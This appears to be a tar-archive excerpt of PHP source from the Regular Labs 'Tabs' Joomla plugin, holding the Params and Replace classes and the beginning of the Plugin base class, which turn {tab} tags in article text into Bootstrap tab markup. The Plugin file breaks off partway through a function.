         system/tabs/src/Params.php                                                                          0000705                 00000007334 15242051521 0011546 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use JFactory;
use RegularLabs\Library\Parameters as RL_Parameters;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\Uri as RL_Uri;

class Params
{
	protected static $params  = null;
	protected static $regexes = null;

	public static function get()
	{
		if ( ! is_null(self::$params))
		{
			return self::$params;
		}

		$params = RL_Parameters::getInstance()->getPluginParams('tabs');

		$params->tag_open  = RL_PluginTag::clean($params->tag_open);
		$params->tag_close = RL_PluginTag::clean($params->tag_close);

		$params->tag_link = isset($params->tag_link) ? $params->tag_link : 'tablink';
		$params->tag_link = RL_PluginTag::clean($params->tag_link);

		$params->use_responsive_view = false;

		self::$params = $params;

		return self::$params;
	}

	public static function getTags($only_start_tags = false)
	{
		$params = self::get();

		list($tag_start, $tag_end) = self::getTagCharacters();

		$tags = [
			[
				$tag_start . $params->tag_open,
				$tag_start . $params->tag_link,
			],
			[
				$tag_start . '/' . $params->tag_close . $tag_end,
				$tag_start . '/' . $params->tag_link . $tag_end,
			],
		];

		return $only_start_tags ? $tags[0] : $tags;
	}

	public static function getAlignment()
	{
		$params = self::get();


		if ( ! $params->alignment)
		{
			$params->alignment = JFactory::getLanguage()->isRTL() ? 'right' : 'left';
		}

		return 'align_' . $params->alignment;
	}

	public static function getPositioning()
	{


		return 'top';
	}

	public static function getRegex($type = 'tag')
	{
		$regexes = self::getRegexes();

		return isset($regexes->{$type}) ? $regexes->{$type} : $regexes->tag;
	}

	private static function getRegexes()
	{
		if ( ! is_null(self::$regexes))
		{
			return self::$regexes;
		}

		$params = self::get();

		// Tag character start and end
		list($tag_start, $tag_end) = self::getTagCharacters();
		$tag_start = RL_RegEx::quote($tag_start);
		$tag_end   = RL_RegEx::quote($tag_end);

		$pre        = RL_PluginTag::getRegexSurroundingTagsPre();
		$post       = RL_PluginTag::getRegexSurroundingTagsPost();
		$inside_tag = RL_PluginTag::getRegexInsideTag();

		$delimiter = ($params->tag_delimiter == 'space') ? RL_PluginTag::getRegexSpaces() : '=';
		$set_id    = '(?:-[a-zA-Z0-9-_]+)?';

		self::$regexes = (object) [];

		self::$regexes->tag =
			'(?<pre>' . $pre . ')'
			. $tag_start . '(?<tag>'
			. $params->tag_open . 's?' . '(?<set_id>' . $set_id . ')' . $delimiter . '(?<data>' . $inside_tag . ')'
			. '|/' . $params->tag_close . $set_id
			. ')' . $tag_end
			. '(?<post>' . $post . ')';

		self::$regexes->end =
			'(?<pre>' . $pre . ')'
			. $tag_start . '/' . $params->tag_close . $set_id . $tag_end
			. '(?<post>' . $post . ')';

		self::$regexes->link =
			$tag_start . $params->tag_link . $set_id . $delimiter . '(?<id>' . $inside_tag . ')' . $tag_end
			. '(?<text>.*?)'
			. $tag_start . '/' . $params->tag_link . $tag_end;

		return self::$regexes;
	}

	public static function getTagCharacters()
	{
		$params = self::get();

		if ( ! isset($params->tag_character_start))
		{
			self::setTagCharacters();
		}

		return [$params->tag_character_start, $params->tag_character_end];
	}

	public static function setTagCharacters()
	{
		$params = self::get();

		list(self::$params->tag_character_start, self::$params->tag_character_end) = explode('.', $params->tag_characters);
	}
}
                                                                                                                                                                                                                                                                                                    system/tabs/src/Replace.php                                                                         0000705                 00000056055 15242051521 0011702 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use JFactory;
use JRoute;
use JUri;
use RegularLabs\Library\Alias as RL_Alias;
use RegularLabs\Library\Html as RL_Html;
use RegularLabs\Library\HtmlTag as RL_HtmlTag;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\Protect as RL_Protect;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\StringHelper as RL_String;
use RegularLabs\Library\Title as RL_Title;
use RegularLabs\Library\Uri as RL_Uri;

class Replace
{
	static $context  = '';
	static $sets     = [];
	static $ids      = [];
	static $matches  = [];
	static $allitems = [];
	static $setcount = 0;

	public static function replaceTags(&$string, $area = 'article', $context = '')
	{
		if ( ! is_string($string) || $string == '')
		{
			return false;
		}

		self::$context = $context;

		// Check if tags are in the text snippet used for the search component
		if (strpos($context, 'com_search.') === 0)
		{
			$limit = explode('.', $context, 2);
			$limit = (int) array_pop($limit);

			$string_check = substr($string, 0, $limit);

			if ( ! RL_String::contains($string_check, Params::getTags(true)))
			{
				return false;
			}
		}

		$params = Params::get();

		// allow in component?
		if (RL_Protect::isRestrictedComponent(isset($params->disabled_components) ? $params->disabled_components : [], $area))
		{

			Protect::_($string);

			self::handlePrintPage($string);

			RL_Protect::unprotect($string);

			return true;
		}

		if ( ! RL_String::contains($string, Params::getTags(true)))
		{
			// Links with #tab-name or &tab=tab-name
			self::replaceLinks($string);

			return true;
		}

		Protect::_($string);

		list($start_tags, $end_tags) = Params::getTags();

		list($pre_string, $string, $post_string) = RL_Html::getContentContainingSearches(
			$string,
			$start_tags,
			$end_tags
		);

		if (JFactory::getApplication()->input->getInt('print', 0))
		{
			// Replace syntax with general html on print pages
			self::handlePrintPage($string);

			$string = $pre_string . $string . $post_string;

			RL_Protect::unprotect($string);

			return true;
		}

		$sets = self::getSets($string);
		self::initSets($sets);

		// Tag syntax: {tab ...}
		self::replaceSyntax($string, $sets);

		// Closing tag: {/tab}
		self::replaceClosingTag($string);

		// Links with #tab-name or &tab=tab-name
		self::replaceLinks($string);

		// Link tag {tablink ...}
		self::replaceLinkTag($string);

		$string = $pre_string . $string . $post_string;

		RL_Protect::unprotect($string);

		return true;
	}

	private static function handlePrintPage(&$string)
	{
		$params = Params::get();

		$sets = self::getSets($string);
		self::initSets($sets);

		foreach ($sets as $set)
		{
			foreach ($set as $tab)
			{
				$replace = '<' . $params->title_tag . ' class="rl_tabs-title nn_tabs-title">'
					. '<a id="anchor-' . $tab->id . '" class="anchor"></a>'
					. $tab->title_full
					. '</' . $params->title_tag . '>';

				$string = RL_String::replaceOnce($tab->orig, $replace, $string);
			}
		}

		$regex = Params::getRegex('end');

		RL_RegEx::matchAll($regex, $string, $matches);

		foreach ($matches as $match)
		{
			$string = RL_String::replaceOnce($match[0], '', $string);
		}

		$regex = Params::getRegex('link');

		RL_RegEx::matchAll($regex, $string, $matches);

		foreach ($matches as $match)
		{
			$href   = RL_Uri::get($match['id']);
			$link   = '<a href="' . $href . '">' . $match['text'] . '</a>';
			$string = RL_String::replaceOnce($match[0], $link, $string);
		}
	}

	public static function getSets(&$string, $only_basic_details = false)
	{
		$regex = Params::getRegex();

		RL_RegEx::matchAll($regex, $string, $matches);

		if (empty($matches))
		{
			return [];
		}

		self::$sets = [];
		$set_ids    = [];


		foreach ($matches as $match)
		{
			if (substr($match['tag'], 0, 1) == '/')
			{
				if (empty($set_ids))
				{
					continue;
				}

				$set_id = key($set_ids);

				array_pop($set_ids);

				if (empty($set_id))
				{
					continue;
				}

				self::$sets[$set_id][0]->ending = $match[0];

				continue;
			}

			end($set_ids);

			$item = self::getSetItem($match, $set_ids, $only_basic_details);

			if ($only_basic_details)
			{
				if ( ! isset(self::$sets['basic']))
				{
					self::$sets['basic'] = [];
				}

				self::$sets['basic'][] = $item;
				continue;
			}


			if ( ! isset(self::$sets[$item->set]))
			{
				self::$sets[$item->set] = [];
			}

			self::$sets[$item->set][] = $item;
		}


		return self::$sets;
	}

	private static function getSetItem($match, &$set_ids, $only_basic_details = false)
	{
		$item = (object) [];

		// Set the values from the tag
		$tag = RL_Title::clean($match['data'], false, false);
		self::setTagAttributes($item, $tag);

		if ($only_basic_details)
		{
			return $item;
		}

		$item->orig   = $match[0];
		$item->set_id = trim(str_replace('-', '_', $match['set_id']));

		// New set
		if (empty($set_ids) || current($set_ids) != $item->set_id)
		{
			self::$setcount++;
			$set_ids[self::$setcount . '.' . $item->set_id] = $item->set_id;
		}

		$item->set = array_search($item->set_id, array_reverse($set_ids));

		$item->level = self::getSetLevel($item->set, $set_ids);


		list($item->pre, $item->post) = RL_Html::cleanSurroundingTags(
			[$match['pre'], $match['post']],
			['div', 'p', 'span', 'h[0-6]']
		);

		return $item;
	}

	private static function getSetLevel($set_id, $set_ids)
	{
		// Sets are still empty, so this is the first set
		if (empty(self::$sets))
		{
			return 1;
		}

		// Grab the level from the previous entry of this set
		if (isset(self::$sets[$set_id]))
		{
			return self::$sets[$set_id][0]->level;
		}

		// Look up the level of the previous set
		$previous_set_id = array_search(prev($set_ids), array_reverse($set_ids));

		// Grab the level from the previous entry of this set
		if (isset(self::$sets[$previous_set_id]))
		{
			return self::$sets[$previous_set_id][0]->level + 1;
		}

		return 1;
	}

	private static function getParent($set_id, $level)
	{
		if (empty(self::$sets))
		{
			return false;
		}

		if (isset(self::$sets[$set_id]))
		{
			return self::$sets[$set_id][0]->parent;
		}

		reset(self::$sets);

		$previous_set = current(self::$sets);
		$prev_level   = $prev_level = $previous_set[0]->level;

		while ($prev_level >= $level)
		{
			$previous_set = prev(self::$sets);

			if (empty($previous_set))
			{
				end(self::$sets);

				return false;
			}

			$prev_level = $previous_set[0]->level;
		}

		end(self::$sets);
		end($previous_set);

		$parent_item = key($previous_set);

		return [$previous_set[$parent_item]->set, $parent_item];
	}

	private static function addChildToParent($item)
	{
		if (empty($item->parent))
		{
			return;
		}

		list($parent_set, $parent_item) = $item->parent;

		if (empty(self::$sets[$parent_set]) || empty(self::$sets[$parent_set][$parent_item]))
		{
			return;
		}

		self::$sets[$parent_set][$parent_item]->children[] = $item->set;
	}


	private static function initSets(&$sets)
	{
		$params = Params::get();

		$urlitem   = JFactory::getApplication()->input->get('tab');
		$itemcount = 0;

		foreach ($sets as $set_id => $items)
		{
			$opened_by_default = 0;

			foreach ($items as $i => $item)
			{
				$item->title      = isset($item->title) ? trim($item->title) : 'Tab';
				$item->title_full = $item->title;

				if (isset($item->{'title-opened'}) || isset($item->{'title-closed'}))
				{
					$title_closed = isset($item->{'title-closed'}) ? $item->{'title-closed'} : $item->title;
					$title_opened = isset($item->{'title-opened'}) ? $item->{'title-opened'} : $item->title;

					// Set main title to the title-opened, otherwise to title-closed
					$item->title = $title_opened ?: ($title_closed ?: $item->title);

					// place the title-opened and title-closed in css controlled spans
					$item->title_full = '<span class="rl_tabs-title-inactive nn_tabs-title-inactive">' . $title_closed . '</span>'
						. '<span class="rl_tabs-title-active nn_tabs-title-active">' . $title_opened . '</span>';
				}

				$item->haslink = RL_RegEx::match('<a [^>]*>.*?</a>', $item->title);

				$item->title = RL_Title::clean($item->title, true);
				$item->title = $item->title ?: RL_HtmlTag::getAttributeValue('title', $item->title_full);
				$item->title = $item->title ?: RL_HtmlTag::getAttributeValue('alt', $item->title_full);

				$item->alias = RL_Alias::get(isset($item->alias) ? $item->alias : $item->title);
				$item->alias = $item->alias ?: 'tab';

				$item->id    = self::createId($item->alias);
				$item->set   = (int) $set_id;
				$item->count = $i + 1;


				$set_keys = [
					'class', 'open', 'title_tag', 'onclick',
				];
				foreach ($set_keys as $key)
				{
					$item->{$key} = isset($item->{$key})
						? $item->{$key}
						: (isset($params->{$key}) ? $params->{$key} : '');
				}

				$item->matches   = RL_Title::getUrlMatches([$item->id, $item->title]);
				$item->matches[] = ++$itemcount . '';
				$item->matches[] = $item->set . '.' . ($i + 1);
				$item->matches[] = $item->set . '-' . ($i + 1);

				$item->matches = array_unique($item->matches);
				$item->matches = array_diff($item->matches, self::$matches);
				self::$matches = array_merge(self::$matches, $item->matches);

				if (self::itemIsOpen($item, $urlitem, $i == 0))
				{
					$opened_by_default = $i;
				}

				// Will be set after all items are checked based on the $opened_by_default id
				$item->open = false;

				$sets[$set_id][$i] = $item;
				self::$allitems[]  = $item;
			}

			self::setOpenItem($sets[$set_id], $opened_by_default);
		}
	}

	private static function itemIsOpen($item, $urlitem, $is_first = false)
	{

		if ($item->haslink)
		{
			return false;
		}

		if ( ! empty($item->close))
		{
			return false;
		}

		if (isset($item->open))
		{
			return $item->open;
		}

		if ($urlitem && in_array($urlitem, $item->matches))
		{
			return true;
		}

		if ($is_first)
		{
			return true;
		}

		return false;
	}

	private static function setOpenItem(&$items, $opened_by_default = 0)
	{
		$opened_by_default = (int) $opened_by_default;

		while (isset($items[$opened_by_default]) && $items[$opened_by_default]->haslink)
		{
			$opened_by_default++;
		}

		if ( ! isset($items[$opened_by_default]))
		{
			return;
		}

		$items[$opened_by_default]->open = true;
	}

	private static function setTagAttributes(&$item, $string)
	{
		$values = self::getTagAttributes($string);

		$item = (object) array_merge((array) $item, (array) $values);
	}

	private static function getTagAttributes($string)
	{
		RL_PluginTag::protectSpecialChars($string);

		$is_old_syntax = (strpos($string, '|') !== false);

		if ($is_old_syntax)
		{
			// Fix some different old syntaxes
			$string = str_replace(
				[
					'|alias:',
					'|align_',
				],
				[
					'|alias=',
					'|align=',
				],
				$string
			);
		}

		RL_PluginTag::unprotectSpecialChars($string, true);

		$known_boolean_keys = [
			'open', 'active', 'opened', 'default',
			'scroll', 'noscroll',
			'nooutline', 'outline_handles', 'outline_content', 'color_inactive_handles',
		];

		// Get the values from the tag
		$attributes = RL_PluginTag::getAttributesFromString($string, 'title', $known_boolean_keys);

		$key_aliases = [
			'title'              => ['name'],
			'title-opened'       => ['title-open', 'title-active'],
			'title-closed'       => ['title-close', 'title-inactive'],
			'open'               => ['active', 'opened', 'default'],
			'access'             => ['accesslevels', 'accesslevel'],
			'usergroup'          => ['usergroups', 'group', 'groups'],
			'position'           => ['positioning'],
			'align'              => ['alignment'],
			'heading_attributes' => ['li_attributes'],
			'link_attributes'    => ['a_attributes'],
			'body_attributes'    => ['content_attributes'],
		];

		RL_PluginTag::replaceKeyAliases($attributes, $key_aliases);

		if ($is_old_syntax)
		{
			self::setPositionFromOldClasses($attributes);
		}

		return $attributes;
	}

	private static function setPositionFromOldClasses(&$values)
	{
		if (empty($values->class) || ! empty($values->position))
		{
			return;
		}

		$classes   = explode(' ', $values->class);
		$positions = ['top', 'bottom', 'left', 'right'];
		$found     = array_intersect($classes, $positions);

		if (empty($found))
		{
			return;
		}

		$position = array_shift($found);

		$classes = array_diff($classes, [$position]);

		$values->class    = implode(' ', $classes);
		$values->position = $position;
	}

	private static function replaceSyntax(&$string, $sets)
	{
		$regex = Params::getRegex('end');

		if ( ! RL_RegEx::match($regex, $string))
		{
			return;
		}

		foreach ($sets as $items)
		{
			self::replaceSyntaxItemList($string, $items);
		}
	}

	private static function replaceSyntaxItemList(&$string, $items)
	{
		$first = key($items);
		end($items);

		foreach ($items as $i => &$item)
		{
			self::replaceSyntaxItem($string, $item, $items, ($i == $first));
		}
	}

	private static function replaceSyntaxItem(&$string, $item, $items, $first = 0)
	{
		if (strpos($string, $item->orig) === false)
		{
			return;
		}

		$params = Params::get();

		$html   = [];
		$html[] = $item->post;
		$html[] = $item->pre;

		if ($first && $params->place_comments)
		{
			$html[] = Protect::getCommentStartTag();
		}

		if ( ! in_array(self::$context, ['com_search.search', 'com_search.search.article', 'com_finder.indexer']))
		{
			$html[] = self::getPreHtml($item, $items, $first);
		}

		$class = self::getItemClass($item, 'tab-pane rl_tabs-pane nn_tabs-pane');

		$body_attributes = 'role="tabpanel" aria-labelledby="tab-' . $item->id . '" aria-hidden="' . ($item->open ? 'false' : 'true') . '"';
		if ( ! empty($item->body_attributes))
		{
			$body_attributes .= ' ' . $item->body_attributes;
		}

		$html[] = '<div class="' . trim($class) . '" id="' . $item->id . '" ' . $body_attributes . '>';

		if ( ! $item->haslink)
		{
			$class = 'anchor';
			$html[] = '<' . $item->title_tag . ' class="rl_tabs-title nn_tabs-title">'
				. '<a id="anchor-' . $item->id . '" class="' . $class . '"></a>'
				. $item->title . '</' . $item->title_tag . '>';
		}

		$html = implode("\n", $html);

		$string = RL_String::replaceOnce($item->orig, $html, $string);
	}

	private static function getPreHtml($item, $items, $first = 0)
	{
		if ( ! $first)
		{
			return '</div>';
		}

		$class = self::getMainClasses($item);


		$html[] = '<div class="' . trim($class) . '">';
		$html[] = self::getNav($items);
		$html[] = '<div class="tab-content">';

		return implode("\n", $html);
	}

	private static function getMainClasses($item)
	{
		$params = Params::get();

		$classes = [
			'rl_tabs nn_tabs',
			$params->mainclass,
		];

		if ( ! empty($item->mainclass))
		{
			$classes[] = $item->mainclass;
		}

		if ( ! empty($item->nooutline))
		{
			$item->outline_handles = false;
			$item->outline_content = false;
		}

		if ( ! empty($item->outline_handles) || ! empty($item->outline_content))
		{
			$item->nooutline = false;
		}

		$settings = [
			'nooutline',
			'outline_handles',
			'outline_content',
			'color_inactive_handles',
		];
		self::addClassesBySettings($item, $classes, $settings);

		$align = isset($item->align) ? 'align_' . $item->align : Params::getAlignment();
		$position = 'top';

		$classes[] = $position;
		$classes[] = $align;

		$classes = array_diff($classes, ['']);

		return trim(implode(' ', $classes));
	}

	private static function getItemClass($item, $mainclass = 'rl_tabs-tab nn_tabs-tab nav-item')
	{
		// nav-item used for Boootstrap 4
		$class = [$mainclass];

		if ($item->open)
		{
			$class[] = 'active';
		}

		if ( ! empty($item->mode))
		{
			$class[] = $item->mode == 'hover' ? 'hover' : 'click';
		}

		$class[] = trim($item->class);

		return trim(implode(' ', $class));
	}

	private static function addClassesBySettings($item, &$classes, $settings = [])
	{
		foreach ($settings as $setting)
		{
			self::addClassBySetting($item, $classes, $setting);
		}
	}

	private static function addClassBySetting($item, &$classes, $setting = '')
	{
		if (
			(empty($item->{$setting}) && empty(Params::get()->{$setting}))
			|| (isset($item->{$setting}) && ! $item->{$setting})
		)
		{
			return;
		}

		$classes[] = $setting;
	}

	private static function replaceClosingTag(&$string)
	{
		$params = Params::get();
		$regex  = Params::getRegex('end');

		RL_RegEx::matchAll($regex, $string, $matches);

		if (empty($matches))
		{
			return;
		}

		foreach ($matches as $match)
		{
			$html = '</div></div></div>';


			if ($params->place_comments)
			{
				$html .= Protect::getCommentEndTag();
			}

			list($pre, $post) = RL_Html::cleanSurroundingTags([$match['pre'], $match['post']]);

			$html = $pre . $html . $post;

			$string = RL_String::replaceOnce($match[0], $html, $string);
		}
	}

	private static function replaceLinks(&$string)
	{
		// Links with #tab-name
		self::replaceAnchorLinks($string);
		// Links with &tab=tab-name
		self::replaceUrlLinks($string);
	}

	private static function replaceAnchorLinks(&$string)
	{
		RL_RegEx::matchAll(
			'(?<link><a\s[^>]*href="(?<url>([^"]*)?)\#(?<id>[^"]*)"[^>]*>)(?<text>.*?)</a>',
			$string,
			$matches
		);

		if (empty($matches))
		{
			return;
		}

		self::replaceLinksMatches($string, $matches);
	}

	private static function replaceUrlLinks(&$string)
	{
		RL_RegEx::matchAll(
			'(?<link><a\s[^>]*href="(?<url>[^"]*)(?:\?|&(?:amp;)?)tab=(?<id>[^"\#&]*)(?:\#[^"]*)?"[^>]*>)(?<text>.*?)</a>',
			$string,
			$matches
		);

		if (empty($matches))
		{
			return;
		}

		self::replaceLinksMatches($string, $matches);
	}

	private static function replaceLinksMatches(&$string, $matches)
	{
		$uri            = JUri::getInstance();
		$current_urls   = [];
		$current_urls[] = $uri->toString(['path']);
		$current_urls[] = $uri->toString(['scheme', 'host', 'path']);
		$current_urls[] = $uri->toString(['scheme', 'host', 'port', 'path']);

		foreach ($matches as $match)
		{
			$link = $match['link'];

			if (
				strpos($link, 'data-toggle=') !== false
				|| strpos($link, 'onclick=') !== false
				|| strpos($link, 'rl_tabs-toggle-sm') !== false
				|| strpos($link, 'rl_tabs-link') !== false
				|| strpos($link, 'rl_sliders-link') !== false
			)
			{
				continue;
			}

			$url = $match['url'];
			if (strpos($url, 'index.php/') === 0)
			{
				$url = '/' . $url;
			}

			if (strpos($url, 'index.php') === 0)
			{
				$url = JRoute::_($url);
			}

			if ($url != '' && ! in_array($url, $current_urls))
			{
				continue;
			}

			$id = $match['id'];

			if ( ! self::stringHasItem($string, $id))
			{
				// This is a link to a normal anchor or other element on the page
				// Remove the prepending obsolete url and leave the hash
				// $string = str_replace('href="' . $match['url'] . '#' . $id . '"', 'href="#' . $id . '"', $string);

				continue;
			}

			$attributes = self::getLinkAttributes($id);

			// Combine attributes with original
			$attributes = RL_HtmlTag::combineAttributes($link, $attributes);

			$html = '<a ' . $attributes . '><span class="rl_tabs-link-inner nn_tabs-link-inner">' . $match['text'] . '</span></a>';

			$string = str_replace($match[0], $html, $string);
		}
	}

	private static function replaceLinkTag(&$string)
	{
		$regex = Params::getRegex('link');

		RL_RegEx::matchAll($regex, $string, $matches);

		if (empty($matches))
		{
			return;
		}

		foreach ($matches as $match)
		{
			self::replaceLinkTagMatch($string, $match);
		}
	}

	private static function replaceLinkTagMatch(&$string, $match)
	{
		$params = Params::get();

		$id = RL_Alias::get($match['id']);

		if ( ! self::stringHasItem($string, $id))
		{
			$id_by_name = self::findItemByMatch($match['id']);
			$id_by_id   = self::findItemByMatch($id);
			$id         = $id_by_name ?: ($id_by_id ?: $id);
		}

		if ( ! self::stringHasItem($string, $id))
		{
			$html = '<a href="' . RL_Uri::get($id) . '">' . $match['text'] . '</a>';

			if ($params->place_comments)
			{
				$html = Protect::wrapInCommentTags($html);
			}

			$string = RL_String::replaceOnce($match[0], $html, $string);

			return;
		}

		$html = '<a ' . self::getLinkAttributes($id) . '>'
			. '<span class="rl_tabs-link-inner nn_tabs-link-inner">' . $match['text'] . '</span>'
			. '</a>';

		if ($params->place_comments)
		{
			$html = Protect::wrapInCommentTags($html);
		}

		$string = RL_String::replaceOnce($match[0], $html, $string);
	}

	private static function findItemByMatch($id)
	{
		foreach (self::$allitems as $item)
		{
			if ( ! in_array($id, $item->matches))
			{
				continue;
			}

			return $item->id;
		}

		return false;
	}

	private static function getLinkAttributes($id)
	{
		return 'href="' . RL_Uri::get($id) . '"'
			. ' class="rl_tabs-link rl_tabs-link-' . $id . ' nn_tabs-link nn_tabs-link-' . $id . '"'
			. ' data-id="' . $id . '"';
	}

	private static function stringHasItem(&$string, $id)
	{
		return (strpos($string, 'data-toggle="tab" data-id="' . $id . '"') !== false);
	}

	private static function getNav(&$items)
	{
		$html = [];

		$ul_extra = '';

		// Nav for non-mobile view
		$html[] = '<!--googleoff: index-->';
		$html[] = '<a id="rl_tabs-scrollto_' . $items[0]->set . '" class="anchor rl_tabs-scroll nn_tabs-scroll"></a>';
		$html[] = '<ul class="nav nav-tabs" id="set-rl_tabs-' . $items[0]->set . '" role="tablist"' . $ul_extra . '>';
		foreach ($items as $item)
		{
			$href            = '#' . $item->id;
			$title           = $item->title_full;
			$link_attributes = ' id="tab-' . $item->id . '"'
				. ' data-toggle="tab" data-id="' . $item->id . '"'
				. ' role="tab" aria-controls="' . $item->id . '"'
				. ' aria-selected="' . ($item->open ? 'true' : 'false') . '"';

			$class = 'rl_tabs-toggle nn_tabs-toggle';

			// nav-link used for Boootstrap 4
			$class .= ' nav-link';


			$onclick = '';

			$heading_attributes = 'role="presentation"';
			if ( ! empty($item->heading_attributes))
			{
				$heading_attributes .= ' ' . $item->heading_attributes;
			}

			if ($item->haslink)
			{
				if (RL_RegEx::match('<a [^>]*href="(.*?)"', $title, $match))
				{
					$href = $match[1];
				}

				// nav-link used for Boootstrap 4
				$class = 'rl_tabs-link nav-link';

				if (RL_RegEx::match('<a [^>]*class="(.*?)"', $title, $match))
				{
					$class = trim($class . ' ' . $match[1]);
				}

				$link_attributes = '';

				if (RL_RegEx::match('<a ([^>]*)', $title, $match))
				{
					$link_attributes = $match[1];
					$link_attributes = trim(RL_RegEx::replace('(href|class)=".*?"', '', $link_attributes));
				}

				if ( ! empty($item->link_attributes))
				{
					$link_attributes .= ' ' . $item->link_attributes;
				}

				$title = RL_RegEx::replace('<a .*?>(.*?)</a>', '\1', $title);
			}

			$html[] = '<li class="' . self::getItemClass($item) . '" ' . $heading_attributes . '>'
				. '<a href="' . $href . '" class="' . $class . '"' . $onclick . $link_attributes . '>'
				. '<span class="rl_tabs-toggle-inner nn_tabs-toggle-inner">'
				. $title
				. '</span>'
				. '</a>'
				. '</li>';
		}

		$html[] = '</ul>';
		$html[] = '<!--googleon: index-->';

		return implode("\n", $html);
	}


	private static function createId($alias)
	{
		$id = $alias;

		$i = 1;
		while (in_array($id, self::$ids))
		{
			$id = $alias . '-' . ++$i;
		}

		self::$ids[] = $id;

		return $id;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   system/tabs/src/Plugin.php                                                                          0000705                 00000017014 15242051521 0011555 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

/*
 * This class is used as template (extend) for most Regular Labs plugins
 * This class is not placed in the Regular Labs Library as a re-usable class because
 * it also needs to be working when the Regular Labs Library is not installed
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
	require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}

use JFactory;
use JInstaller;
use JPlugin;
use JPluginHelper;
use JText;
use ReflectionMethod;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Language as RL_Language;
use RegularLabs\Library\Protect as RL_Protect;

class Plugin extends JPlugin
{
	public $_alias       = '';
	public $_title       = '';
	public $_lang_prefix = '';

	public $_has_tags              = false;
	public $_enable_in_frontend    = true;
	public $_enable_in_admin       = false;
	public $_can_disable_by_url    = true;
	public $_disable_on_components = false;
	public $_protected_formats     = [];
	public $_page_types            = [];

	private $_init   = false;
	private $_pass   = null;
	private $_helper = null;

	protected function run()
	{
		if ( ! $this->passChecks())
		{
			return false;
		}

		if ( ! $this->getHelper())
		{
			return false;
		}

		$caller = debug_backtrace()[1];

		if (empty($caller))
		{
			return false;
		}

		$event = $caller['function'];

		if ( ! method_exists($this->_helper, $event))
		{
			return false;
		}

		$reflect    = new ReflectionMethod($this->_helper, $event);
		$parameters = $reflect->getParameters();

		$arguments = [];

		// Check if arguments should be passed as reference or not
		foreach ($parameters as $count => $parameter)
		{
			if ($parameter->isPassedByReference())
			{
				$arguments[] = &$caller['args'][$count];
				continue;
			}
			$arguments[] = $caller['args'][$count];
		}

		return call_user_func_array([$this->_helper, $event], $arguments);
	}

	/**
	 * Create the helper object
	 *
	 * @return object|null The plugins helper object
	 */
	private function getHelper()
	{
		// Already initialized, so return
		if ($this->_init)
		{
			return $this->_helper;
		}

		$this->_init = true;

		RL_Language::load('plg_' . $this->_type . '_' . $this->_name);

		$this->init();

		$this->_helper = new Helper;

		return $this->_helper;
	}

	private function passChecks()
	{
		if ( ! is_null($this->_pass))
		{
			return $this->_pass;
		}

		$this->_pass = false;

		if ( ! $this->isFrameworkEnabled())
		{
			return false;
		}

		if ( ! self::passPageTypes())
		{
			return false;
		}

		// allow in frontend?
		if ( ! $this->_enable_in_frontend
			&& ! RL_Document::isAdmin())
		{
			return false;
		}

		// allow in admin?
		if ( ! $this->_enable_in_admin
			&& RL_Document::isAdmin()
			&& ( ! isset(Params::get()->enable_admin) || ! Params::get()->enable_admin))
		{
			return false;
		}

		// disabled by url?
		if ($this->_can_disable_by_url
			&& RL_Protect::isDisabledByUrl($this->_alias))
		{
			return false;
		}

		// disabled by component?
		if ($this->_disable_on_components
			&& RL_Protect::isRestrictedComponent(isset(Params::get()->disabled_components) ? Params::get()->disabled_components : [], 'component'))
		{
			return false;
		}

		// restricted page?
		if (RL_Protect::isRestrictedPage($this->_has_tags, $this->_protected_formats))
		{
			return false;
		}

		if ( ! $this->extraChecks())
		{
			return false;
		}

		$this->_pass = true;

		return true;
	}

	public function passPageTypes()
	{
		if (empty($this->_page_types))
		{
			return true;
		}

		if (in_array('*', $this->_page_types))
		{
			return true;
		}

		if (empty(JFactory::$document))
		{
			return true;
		}

		if (RL_Document::isFeed())
		{
			return in_array('feed', $this->_page_types);
		}

		if (RL_Document::isPDF())
		{
			return in_array('pdf', $this->_page_types);
		}

		$page_type = JFactory::getDocument()->getType();

		if (in_array($page_type, $this->_page_types))
		{
			return true;
		}

		return false;
	}

	public function extraChecks()
	{
		return true;
	}

	public function init()
	{
		return;
	}

	/**
	 * Check if the Regular Labs Library is enabled
	 *
	 * @return bool
	 */
	private function isFrameworkEnabled()
	{
		if ( ! defined('REGULAR_LABS_LIBRARY_ENABLED'))
		{
			$this->setIsFrameworkEnabled();
		}

		if ( ! REGULAR_LABS_LIBRARY_ENABLED)
		{
			$this->throwError('REGULAR_LABS_LIBRARY_NOT_ENABLED');
		}

		return REGULAR_LABS_LIBRARY_ENABLED;
	}

	/**
	 * Set the define with whether the Regular Labs Library is enabled
	 */
	private function setIsFrameworkEnabled()
	{
		// Return false if Regular Labs Library is not installed
		if ( ! $this->isFrameworkInstalled())
		{
			define('REGULAR_LABS_LIBRARY_ENABLED', false);

			return;
		}

		if ( ! JPluginHelper::isEnabled('system', 'regularlabs'))
		{
